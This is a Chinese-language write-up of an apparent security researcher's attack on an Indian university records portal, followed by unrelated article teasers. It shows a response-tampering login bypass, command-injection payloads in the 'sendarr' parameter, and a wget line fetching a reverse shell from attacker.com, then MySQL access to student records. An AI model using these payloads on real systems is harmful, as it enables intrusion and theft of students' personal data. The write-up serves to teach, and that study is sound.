国外白帽故事 | 攻破大学数据库系统,暴露数千学生记录

引言

在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。

目标

这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。

这个服务器还配有一个使用相同后端的移动应用程序。

信息收集

像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。

该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:

ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302

我让扫描器运行了一分钟左右。

我发现了一个有趣的目录叫做 /bkp。

于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!

图片

我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……

部分认证绕过

你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。

我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。

图片

真正的专业人士可以立即发现这里的漏洞!!

在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。

因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。

然后,我发现我已经成功登录到了面板!!

但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。

我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。

远程代码执行

在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。

图片

我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。

当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。

图片

后端在处理备份时使用了 exec() 函数。

在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。

看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。

sendarr=|sleep 20

在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。

因此,当前命令在后端的样子将是:

./backup.sh | sleep 20

因此,在运行 backup.sh 之后,它会执行 sleep 命令。

我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。

目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out

网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:

sendarr=|id>/var/www/html/out

这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。

然后我访问了 /out,结果是,太棒了!!!

图片

现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。

图片

获得访问权限

为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。

我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:

sendarr=|wget https://attacker.com/rev.php

此命令将反向 shell 下载到网站的主目录。

然后,我在 netcat 上启动了监听,并访问了 /rev.php。

结果,我获得了 shell!

图片

我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。

在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。

图片

我再也不想等待,迅速尝试使用以下命令登录 MySQL:

mysql -h servername.rds.amazonaws.com -u username -p

然后,砰的一声!我成功进入了数据库!!!

我发现了许多不同大学和学院的数据库。

在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!

以下是我找到的数据截图:

图片

图片

图片

我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。

该数据库几乎包含了全国100,000多名大学生的数据。

结论

最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。

  免费 获 取 网 安 资 料:

 申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/8285.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

苍穹外卖05-Redis相关知识点

目录 什么是Redis? redis中的一些常用指令 value的5种常用数据类型 各种数据类型的特点 Redis中数据操作的常用命令 字符串类型常用命令: 哈希类型常用命令 列表操作命令 集合操作命令 有序集合操作命令 通用命令 在java中操作Redis 环境…

【MySQL】数据的增删查改

文章目录 1. 插入数据(Create)1.1 全列插入1.2 指定列插入1.3 多行数据插入1.4 插入否则更新1.5 替换 2. 读取数据(Retrieve)2.1 select列2.2 where条件2.3 结果排序2.4 筛选分页结果 3. 修改数据(Update)4. 删除数据(delete)4.1 删除数据4.2 截断表 5. 插入查询的结果6. 分组与…

【案例分享】借助 iSpring,创造客户真正欣赏的专业在线培训体验

Safety Bee Training是一家领先的认证在线学习提供商,专门提供职业健康、安全和环境项目。它也是中东和亚洲唯一一家提供经 NASP 等国际认证机构认可的课程的培训提供商。它已经培训了超过 28,000 名学习者,并且正在不断扩大其课程范围,以提供…

【连续多届检索,ACM出版】第四届大数据、人工智能与风险管理国际学术会议 (ICBAR 2024,11月15-17)--冬季主会场

第四届大数据、人工智能与风险管理国际学术会议 (ICBAR 2024)--冬季主会场 2024 4th International Conference on Big Data, Artificial Intelligence and Risk Management 会议官网:www.icbar.net 2024 4th International Conference on Big Data, Artificial I…

界面设计软件:10款设计师必备工具

UI界面设计软件是设计师们不可或缺的工具,它们提供了一系列功能和直观的操作界面,助力设计师迅速打造精美且用户友好的界面。面对众多UI设计软件,有的提供预设模板和图标库,有的更侧重于原型和交互设计。如何选择最适合自己的UI设…

TCP(上):成熟可靠的传输层协议

欢迎浏览高耳机的博客 希望我们彼此都有更好的收获 感谢三连支持! TCP(传输控制协议)是位于传输层的通信协议,是一种面向连接的、可靠的、基于字节流的传输层通信协议。主要负责在不可靠的网络环境中提供可靠的端到端字节流传输服务。TCP是…

如何在Windows中检查是否安装了GPU

文章目录 1. 系统设备管理器1.1 打开设备管理器1.2 查找显示适配器 2. 命令行工具2.1 打开命令提示符2.2 执行WMIC命令 3. DirectX诊断工具3.1 运行DirectX诊断工具3.2 查看显示信息 在Windows操作系统中,了解您的电脑是否配备了图形处理单元(GPU&#x…

网络技术----wireshark抓包出现1500以上的大包原因分析

网络技术----wireshark抓包出现1500以上的大包原因分析 背景描述原因分析TSO(TCP segment offload,TSO)linux中关闭/开启TSO功能:其他类似TSO的机制 wireshark抓包来源 背景描述 我们在使用抓包工具的过程中,经常发现…

3.3 软件需求:面对对象分析模型

面对对象分析模型 1、对象2、面对对象的软件开发模型3、用例图建模基础3.1 用例图基本符号参与者用例系统执行关联 3.2 用例建模过程3.3 用例图初步3.4 用例图进阶关联Association泛化Inheritance包含Include扩展Extend示例 1、对象 在现实世界中有意义的,与所要解…

跑批为什么这么难

业务系统产生的明细数据通常要经过加工处理,按照一定逻辑计算成需要的结果,用以支持企业的经营活动。这类数据加工任务一般会有很多个,需要批量完成计算,在银行和保险行业常常被称为跑批,其它像石油、电力等行业也经常…

深⼊理解指针(3)【数组与指针】

目录 1. 数组名的理解 2. 使⽤指针访问数组 3. ⼀维数组传参的本质 4. 冒泡排序 5. ⼆级指针 6. 指针数组 7. 指针数组模拟⼆维数组 一 数组名的理解 由上图可知我们使⽤ &arr[0] 的⽅式拿到了数组第⼀个元素的地址,但是其实数组名本来就是地址…

ubuntu【桌面】 配置NAT模式固定IP

DHCP分配导致虚拟机IP老变,SSH老要重新配置,设成静态方便些 一、设NAT模式 1、设为NAT模式 2、看模式对应的虚拟网卡 - VMnet8 3、共享主机网卡网络到虚拟网卡 - VMnet8 二、为虚拟网卡设置静态IP 记住这个IP IP不要与网关重复 这里网关注意要与虚拟…

最强攻略密码 | 腾讯云双十一活动爆款直击底价

前言 每年双十一,腾讯云都会推出一系列的优惠活动,吸引着大量的消费者和开发者参与。作为国内领先的云计算服务商之一,腾讯云不仅提供强大的云计算基础设施服务,还涉及云存储、大数据分析、人工智能等多个领域,而双十…

c# 动态lambda实现二级过滤(多种参数类型)

效果 调用方法 实体类(可以根据需求更换) public class ToolStr50 {public bool isSelected { get; set; }public string toolStr1 { get; set; }public string toolStr2 { get; set; }public string toolStr3 { get; set; }public string toolStr4 { …

5万加购上线即断货,双11洗衣机品类打破增长难关

距离2024年双11结束仅剩最后几天。据网经社报告,目前各电商平台累计销售额已超8000亿元。 其中,家电品类已超1000亿元的销额位居前列,市场占有率达15.7%。天猫平台数据显示,预售日开售后1小时,大家电整体成交同比增长7…

[全网最细数据结构完整版]第六篇:3分钟带你吃透栈并模拟实现

目录 1->栈的概念和结构 1.1栈的概念 1.2栈的结构 2->栈的实现 2.1定义关于栈的结构体和各种函数 2.2栈的初始化 STInit 函数 2.3栈的销毁 STDestroy 函数 2.4栈的插入操作 STPush 函数 2.5栈的判断是否为空操作 STEmpty 函数 2.6栈的删除操作 STPop 函数 2.7…

Xfce桌面设置右键菜单:用右键打开VSCode

前言 AlmaLinux安装VSCode之后始终没有找到如何用右键菜单打开VSCode,比Windows麻烦多了。每次都需要先找到文件夹,然后用系统自带的Open In Terminal打开终端,再输入code .,才能够在当前文件夹中快速打开VSCode。那么&#xff0…

使用docker形式部署jumpserver

文章目录 前言一、背景二、使用步骤1.基础环境准备2.拉取镜像3.进行部署4.备份记录启动命令 前言 记录一下使用docker形式部署jumpserver服务的 一、背景 搭建一个jumpserver的堡垒机,但是发现之前是二进制文件部署的,会在物理机上部署污染环境&#x…

我谈正态分布——正态偏态

目录 pdf和cdf参数 标准正态分布期望和方差分布形态 3 σ 3\sigma 3σ原则 正态和偏态正态偏态瑞利分布偏度 (Skewness)峰度 (Kurtosis) 比较 正态分布的英文是Normal Distribution,normal是“正常”或“标准”的意思,中文翻译是正态,多完美的…

【嵌入式】STM32中的SPI通信

SPI是由摩托罗拉公司开发的一种通用数据总线,其中由四根通信线,支持总线挂载多设备(一主多从),是一种同步全双工的协议。主要是实现主控芯片和外挂芯片之间的交流。这样可以使得STM32可以访问并控制各种外部芯片。本文…